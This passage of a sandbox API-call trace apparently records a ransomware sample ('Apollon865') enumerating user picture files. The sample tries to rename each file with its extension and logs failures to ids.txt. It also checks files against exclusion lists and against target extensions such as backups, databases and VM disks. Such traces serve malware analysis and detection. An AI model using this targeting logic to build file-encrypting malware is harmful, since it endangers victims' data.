	[0080.179] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1
	[0080.179] lstrcmpiW (lpString1="usertile39.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.179] lstrcmpiW (lpString1="usertile39.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.180] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile39.bmp" | out: lpString1="usertile39.bmp") returned="usertile39.bmp"
	[0080.180] lstrlenW (lpString="usertile39.bmp") returned 14
	[0080.180] lstrlenW (lpString="Apollon865") returned 10
	[0080.180] lstrcmpiW (lpString1="tile39.bmp", lpString2="Apollon865") returned 1
	[0080.180] lstrlenW (lpString=".dll") returned 4
	[0080.180] lstrcmpiW (lpString1="usertile39.bmp", lpString2=".dll") returned 1
	[0080.180] lstrlenW (lpString=".lnk") returned 4
	[0080.180] lstrcmpiW (lpString1="usertile39.bmp", lpString2=".lnk") returned 1
	[0080.180] lstrlenW (lpString=".ini") returned 4
	[0080.180] lstrcmpiW (lpString1="usertile39.bmp", lpString2=".ini") returned 1
	[0080.180] lstrlenW (lpString=".sys") returned 4
	[0080.180] lstrcmpiW (lpString1="usertile39.bmp", lpString2=".sys") returned 1
	[0080.180] lstrlenW (lpString="usertile39.bmp") returned 14
	[0080.180] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp.Apollon865") returned 93
	[0080.180] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.180] GetLastError () returned 0x5
	[0080.180] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp MoveFileEx error 5\r\n") returned 111
	[0080.180] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp MoveFileEx error 5\r\n") returned 111
	[0080.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.180] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x541f
	[0080.181] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.181] CloseHandle (hObject=0x9c) returned 1
	[0080.181] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.181] CloseHandle (hObject=0x0) returned 0
	[0080.181] CloseHandle (hObject=0x0) returned 0
	[0080.181] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1
	[0080.181] lstrcmpiW (lpString1="usertile40.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.181] lstrcmpiW (lpString1="usertile40.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.181] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile40.bmp" | out: lpString1="usertile40.bmp") returned="usertile40.bmp"
	[0080.181] lstrlenW (lpString="usertile40.bmp") returned 14
	[0080.181] lstrlenW (lpString="Apollon865") returned 10
	[0080.181] lstrcmpiW (lpString1="tile40.bmp", lpString2="Apollon865") returned 1
	[0080.181] lstrlenW (lpString=".dll") returned 4
	[0080.181] lstrcmpiW (lpString1="usertile40.bmp", lpString2=".dll") returned 1
	[0080.181] lstrlenW (lpString=".lnk") returned 4
	[0080.181] lstrcmpiW (lpString1="usertile40.bmp", lpString2=".lnk") returned 1
	[0080.181] lstrlenW (lpString=".ini") returned 4
	[0080.181] lstrcmpiW (lpString1="usertile40.bmp", lpString2=".ini") returned 1
	[0080.181] lstrlenW (lpString=".sys") returned 4
	[0080.181] lstrcmpiW (lpString1="usertile40.bmp", lpString2=".sys") returned 1
	[0080.181] lstrlenW (lpString="usertile40.bmp") returned 14
	[0080.182] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp.Apollon865") returned 93
	[0080.182] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.182] GetLastError () returned 0x5
	[0080.182] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp MoveFileEx error 5\r\n") returned 111
	[0080.182] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp MoveFileEx error 5\r\n") returned 111
	[0080.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.182] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x548e
	[0080.182] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.182] CloseHandle (hObject=0x9c) returned 1
	[0080.182] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.183] CloseHandle (hObject=0x0) returned 0
	[0080.183] CloseHandle (hObject=0x0) returned 0
	[0080.183] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1
	[0080.183] lstrcmpiW (lpString1="usertile41.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.183] lstrcmpiW (lpString1="usertile41.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.183] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile41.bmp" | out: lpString1="usertile41.bmp") returned="usertile41.bmp"
	[0080.183] lstrlenW (lpString="usertile41.bmp") returned 14
	[0080.183] lstrlenW (lpString="Apollon865") returned 10
	[0080.183] lstrcmpiW (lpString1="tile41.bmp", lpString2="Apollon865") returned 1
	[0080.183] lstrlenW (lpString=".dll") returned 4
	[0080.183] lstrcmpiW (lpString1="usertile41.bmp", lpString2=".dll") returned 1
	[0080.183] lstrlenW (lpString=".lnk") returned 4
	[0080.183] lstrcmpiW (lpString1="usertile41.bmp", lpString2=".lnk") returned 1
	[0080.183] lstrlenW (lpString=".ini") returned 4
	[0080.183] lstrcmpiW (lpString1="usertile41.bmp", lpString2=".ini") returned 1
	[0080.183] lstrlenW (lpString=".sys") returned 4
	[0080.183] lstrcmpiW (lpString1="usertile41.bmp", lpString2=".sys") returned 1
	[0080.183] lstrlenW (lpString="usertile41.bmp") returned 14
	[0080.183] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp.Apollon865") returned 93
	[0080.183] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.183] GetLastError () returned 0x5
	[0080.183] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp MoveFileEx error 5\r\n") returned 111
	[0080.183] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp MoveFileEx error 5\r\n") returned 111
	[0080.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.184] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x54fd
	[0080.184] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.184] CloseHandle (hObject=0x9c) returned 1
	[0080.184] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.184] CloseHandle (hObject=0x0) returned 0
	[0080.184] CloseHandle (hObject=0x0) returned 0
	[0080.184] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1
	[0080.184] lstrcmpiW (lpString1="usertile42.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.184] lstrcmpiW (lpString1="usertile42.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.184] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile42.bmp" | out: lpString1="usertile42.bmp") returned="usertile42.bmp"
	[0080.184] lstrlenW (lpString="usertile42.bmp") returned 14
	[0080.185] lstrlenW (lpString="Apollon865") returned 10
	[0080.185] lstrcmpiW (lpString1="tile42.bmp", lpString2="Apollon865") returned 1
	[0080.185] lstrlenW (lpString=".dll") returned 4
	[0080.185] lstrcmpiW (lpString1="usertile42.bmp", lpString2=".dll") returned 1
	[0080.185] lstrlenW (lpString=".lnk") returned 4
	[0080.185] lstrcmpiW (lpString1="usertile42.bmp", lpString2=".lnk") returned 1
	[0080.185] lstrlenW (lpString=".ini") returned 4
	[0080.186] lstrcmpiW (lpString1="usertile42.bmp", lpString2=".ini") returned 1
	[0080.186] lstrlenW (lpString=".sys") returned 4
	[0080.186] lstrcmpiW (lpString1="usertile42.bmp", lpString2=".sys") returned 1
	[0080.186] lstrlenW (lpString="usertile42.bmp") returned 14
	[0080.187] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp.Apollon865") returned 93
	[0080.188] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.190] GetLastError () returned 0x5
	[0080.190] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp MoveFileEx error 5\r\n") returned 111
	[0080.190] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp MoveFileEx error 5\r\n") returned 111
	[0080.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.193] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x556c
	[0080.194] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.195] CloseHandle (hObject=0x9c) returned 1
	[0080.196] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.196] CloseHandle (hObject=0x0) returned 0
	[0080.198] CloseHandle (hObject=0x0) returned 0
	[0080.198] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1
	[0080.199] lstrcmpiW (lpString1="usertile43.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.200] lstrcmpiW (lpString1="usertile43.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.201] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile43.bmp" | out: lpString1="usertile43.bmp") returned="usertile43.bmp"
	[0080.201] lstrlenW (lpString="usertile43.bmp") returned 14
	[0080.202] lstrlenW (lpString="Apollon865") returned 10
	[0080.202] lstrcmpiW (lpString1="tile43.bmp", lpString2="Apollon865") returned 1
	[0080.202] lstrlenW (lpString=".dll") returned 4
	[0080.203] lstrcmpiW (lpString1="usertile43.bmp", lpString2=".dll") returned 1
	[0080.203] lstrlenW (lpString=".lnk") returned 4
	[0080.203] lstrcmpiW (lpString1="usertile43.bmp", lpString2=".lnk") returned 1
	[0080.204] lstrlenW (lpString=".ini") returned 4
	[0080.204] lstrcmpiW (lpString1="usertile43.bmp", lpString2=".ini") returned 1
	[0080.204] lstrlenW (lpString=".sys") returned 4
	[0080.204] lstrcmpiW (lpString1="usertile43.bmp", lpString2=".sys") returned 1
	[0080.204] lstrlenW (lpString="usertile43.bmp") returned 14
	[0080.206] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp.Apollon865") returned 93
	[0080.207] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.210] GetLastError () returned 0x5
	[0080.210] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp MoveFileEx error 5\r\n") returned 111
	[0080.211] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp MoveFileEx error 5\r\n") returned 111
	[0080.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.215] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x55db
	[0080.216] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.218] CloseHandle (hObject=0x9c) returned 1
	[0080.219] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.219] CloseHandle (hObject=0x0) returned 0
	[0080.220] CloseHandle (hObject=0x0) returned 0
	[0080.220] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1
	[0080.222] lstrcmpiW (lpString1="usertile44.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.222] lstrcmpiW (lpString1="usertile44.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.222] lstrcmpiW (lpString1="usertile44.bmp", lpString2=".") returned 1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="..") returned 1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="windows") returned -1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="bootmgr") returned 1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="temp") returned 1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="pagefile.sys") returned 1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="boot") returned 1
	[0080.223] lstrcmpiW (lpString1="usertile44.bmp", lpString2="ids.txt") returned 1
	[0080.224] lstrcmpiW (lpString1="usertile44.bmp", lpString2="ntuser.dat") returned 1
	[0080.224] lstrcmpiW (lpString1="usertile44.bmp", lpString2="perflogs") returned 1
	[0080.224] lstrcmpiW (lpString1="usertile44.bmp", lpString2="MSBuild") returned 1
	[0080.225] lstrlenW (lpString="usertile44.bmp") returned 14
	[0080.225] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned 82
	[0080.225] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile44.bmp" | out: lpString1="usertile44.bmp") returned="usertile44.bmp"
	[0080.226] lstrlenW (lpString="usertile44.bmp") returned 14
	[0080.227] lstrlenW (lpString="Apollon865") returned 10
	[0080.227] lstrcmpiW (lpString1="tile44.bmp", lpString2="Apollon865") returned 1
	[0080.227] lstrlenW (lpString=".dll") returned 4
	[0080.227] lstrcmpiW (lpString1="usertile44.bmp", lpString2=".dll") returned 1
	[0080.227] lstrlenW (lpString=".lnk") returned 4
	[0080.227] lstrcmpiW (lpString1="usertile44.bmp", lpString2=".lnk") returned 1
	[0080.228] lstrlenW (lpString=".ini") returned 4
	[0080.229] lstrcmpiW (lpString1="usertile44.bmp", lpString2=".ini") returned 1
	[0080.230] lstrlenW (lpString=".sys") returned 4
	[0080.230] lstrcmpiW (lpString1="usertile44.bmp", lpString2=".sys") returned 1
	[0080.230] lstrlenW (lpString="usertile44.bmp") returned 14
	[0080.230] lstrlenW (lpString="bak") returned 3
	[0080.230] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0080.232] lstrlenW (lpString="ba_") returned 3
	[0080.232] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0080.232] lstrlenW (lpString="dbb") returned 3
	[0080.233] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0080.233] lstrlenW (lpString="vmdk") returned 4
	[0080.233] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0080.234] lstrlenW (lpString="rar") returned 3
	[0080.235] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0080.235] lstrlenW (lpString="zip") returned 3
	[0080.235] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0080.235] lstrlenW (lpString="tgz") returned 3
	[0080.235] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0080.235] lstrlenW (lpString="vbox") returned 4
	[0080.235] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0080.235] lstrlenW (lpString="vdi") returned 3
	[0080.236] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0080.237] lstrlenW (lpString="vhd") returned 3
	[0080.237] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0080.237] lstrlenW (lpString="vhdx") returned 4
	[0080.237] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0080.237] lstrlenW (lpString="avhd") returned 4
	[0080.237] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0080.238] lstrlenW (lpString="db") returned 2
	[0080.238] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0080.238] lstrlenW (lpString="db2") returned 3
	[0080.238] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0080.238] lstrlenW (lpString="db3") returned 3
	[0080.239] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0080.239] lstrlenW (lpString="dbf") returned 3
	[0080.239] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0080.239] lstrlenW (lpString="mdf") returned 3
	[0080.239] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0080.239] lstrlenW (lpString="mdb") returned 3
	[0080.239] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0080.239] lstrlenW (lpString="sql") returned 3
	[0080.239] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0080.240] lstrlenW (lpString="sqlite") returned 6
	[0080.240] lstrcmpiW (lpString1="44.bmp", lpString2="sqlite") returned -1
	[0080.240] lstrlenW (lpString="sqlite3") returned 7
	[0080.240] lstrcmpiW (lpString1="e44.bmp", lpString2="sqlite3") returned -1
	[0080.240] lstrlenW (lpString="sqlitedb") returned 8
	[0080.241] lstrcmpiW (lpString1="le44.bmp", lpString2="sqlitedb") returned -1
	[0080.241] lstrlenW (lpString="xml") returned 3
	[0080.241] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0080.242] lstrlenW (lpString="$er") returned 3
	[0080.242] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0080.242] lstrlenW (lpString="4dd") returned 3
	[0080.242] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0080.242] lstrlenW (lpString="4dl") returned 3
	[0080.242] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0080.243] lstrlenW (lpString="^^^") returned 3
	[0080.243] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0080.243] lstrlenW (lpString="abs") returned 3
	[0080.243] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0080.245] lstrlenW (lpString="abx") returned 3
	[0080.245] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0080.245] lstrlenW (lpString="accdb") returned 5
	[0080.246] lstrcmpiW (lpString1="4.bmp", lpString2="accdb") returned -1
	[0080.246] lstrlenW (lpString="accdc") returned 5
	[0080.246] lstrcmpiW (lpString1="4.bmp", lpString2="accdc") returned -1
	[0080.246] lstrlenW (lpString="accde") returned 5
	[0080.246] lstrcmpiW (lpString1="4.bmp", lpString2="accde") returned -1
	[0080.247] lstrlenW (lpString="accdr") returned 5
	[0080.247] lstrcmpiW (lpString1="4.bmp", lpString2="accdr") returned -1
	[0080.247] lstrlenW (lpString="accdt") returned 5
	[0080.248] lstrcmpiW (lpString1="4.bmp", lpString2="accdt") returned -1
	[0080.248] lstrlenW (lpString="accdw") returned 5
	[0080.248] lstrcmpiW (lpString1="4.bmp", lpString2="accdw") returned -1
	[0080.248] lstrlenW (lpString="accft") returned 5
	[0080.248] lstrcmpiW (lpString1="4.bmp", lpString2="accft") returned -1
	[0080.248] lstrlenW (lpString="adb") returned 3
	[0080.248] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.248] lstrlenW (lpString="adb") returned 3
	[0080.248] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.249] lstrlenW (lpString="ade") returned 3
	[0080.249] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0080.249] lstrlenW (lpString="adf") returned 3
	[0080.249] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0080.249] lstrlenW (lpString="adn") returned 3
	[0080.250] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0080.250] lstrlenW (lpString="adp") returned 3
	[0080.250] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0080.251] lstrlenW (lpString="alf") returned 3
	[0080.251] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0080.251] lstrlenW (lpString="ask") returned 3
	[0080.251] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0080.251] lstrlenW (lpString="btr") returned 3
	[0080.252] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0080.252] lstrlenW (lpString="cat") returned 3
	[0080.252] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0080.252] lstrlenW (lpString="cdb") returned 3
	[0080.252] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
